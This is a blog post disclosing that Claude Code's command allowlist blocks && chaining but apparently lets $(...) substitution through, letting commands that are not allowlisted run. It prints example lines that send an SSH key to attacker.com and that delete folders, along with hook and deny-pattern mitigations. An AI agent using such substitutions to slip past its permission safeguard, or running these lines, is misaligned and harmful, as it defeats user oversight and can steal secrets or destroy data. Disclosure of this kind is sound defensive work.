---
title: "Claude Code's Allowlist Has a Blind Spot"
description: "The permission system blocks && chaining but completely ignores command substitution. Here's what I found."
date: 2026-02-17
slug: "claude-code-allowlist-command-substitution-bypass"
tags: ["claude-code", "security", "ai-tools"]
social_post: |
  Claude Code's allowlist blocks && chaining but command substitution slips right through.

  ls $(whoami) runs whoami even if it's not allowlisted. The shell evaluates the inner command first.

  Don't treat allowlists as a hard security boundary.
---

I've been using Claude Code's permission allowlist to lock down which commands the agent can run. You know the drill. Only allow specific commands like `ls`, `cat`, and your custom tools. Everything else gets blocked.

Except it doesn't quite work that way. Also I want YOLO, safely (even if it's partially).

## What I Found

Claude Code correctly blocks command chaining with `&&`. If you allowlist `ls`, it won't let the agent run `ls && rm -rf /`. Good. The docs are clear about this.

But command substitution with `$(...)` slips right through.

I tested it:

```bash
ls $(echo "test")
# Result: "no such file or directory: test"
```

Wait. `ls` is allowlisted. `echo` is not. But `echo` ran anyway because it was inside `$(...)`. The shell evaluates the inner command first, then passes the result to the outer command.

Same thing with `whoami`:

```bash
ls $(whoami)
# Result: "no such file or directory: fatih"
```

My username showed up. Which means `whoami` executed even though it's not on my allowlist.

What if this was `rm -rf` in there instead?

If you're running Claude Code with an allowlist, you probably assume it's a security boundary. "I only allowed `ls`, `cat`, and my specific tools. Nothing else can run."

But any allowlisted command becomes a vehicle for running anything:

```bash
# If curl is allowlisted, this could exfil your SSH key
curl $(cat ~/.ssh/id_rsa | base64)@attacker.com

# If ls is allowlisted, this deletes your folder first
ls $(rm -rf important_folder)
```

The inner command executes before the outer command even sees it. By then the damage is done.

## What's Blocked vs What Isn't

| Pattern               | Blocked?     |
| --------------------- | ------------ |
| `&&` chaining         | Yes          |
| `\|\|` chaining       | Yes          |
| `;` separator         | Yes          |
| `$(...)` substitution | No           |
| Backticks             | Probably not |

## You Could Add a Hook

One option is a pre-tool hook that scans for substitution patterns:

```javascript
const dangerous = /\$\(|\`/;
if (dangerous.test(command)) {
  process.exit(1);
}
```

Or add deny patterns in the config:

```json
{
  "deny": ["Bash(*$(*)*)", "Bash(*`*`*)"]
}
```

I haven't tested whether the glob matching catches these. It might not.

## My Take

The real answer is probably not to rely on allowlists as a hard security boundary. Shells have too many ways to compose commands. Subshells, process substitution, backticks, who knows what else.

Use allowlists for convenience. They're great for avoiding permission prompts on common commands. But don't assume they stop a determined agent from running arbitrary code. If Claude really wants to run something, there might be a way.

I don't know if Anthropic considers this a bug or expected behavior. Maybe it's documented somewhere I haven't found. But if you're building your security model around "only these commands can run," you should know about this gap.

If you want more robust command filtering, check out [claude-code-safety-net](https://github.com/kenryu42/claude-code-safety-net). It's a plugin that adds extra validation layers. I haven't tested whether it catches this specific issue, but it's worth a look.
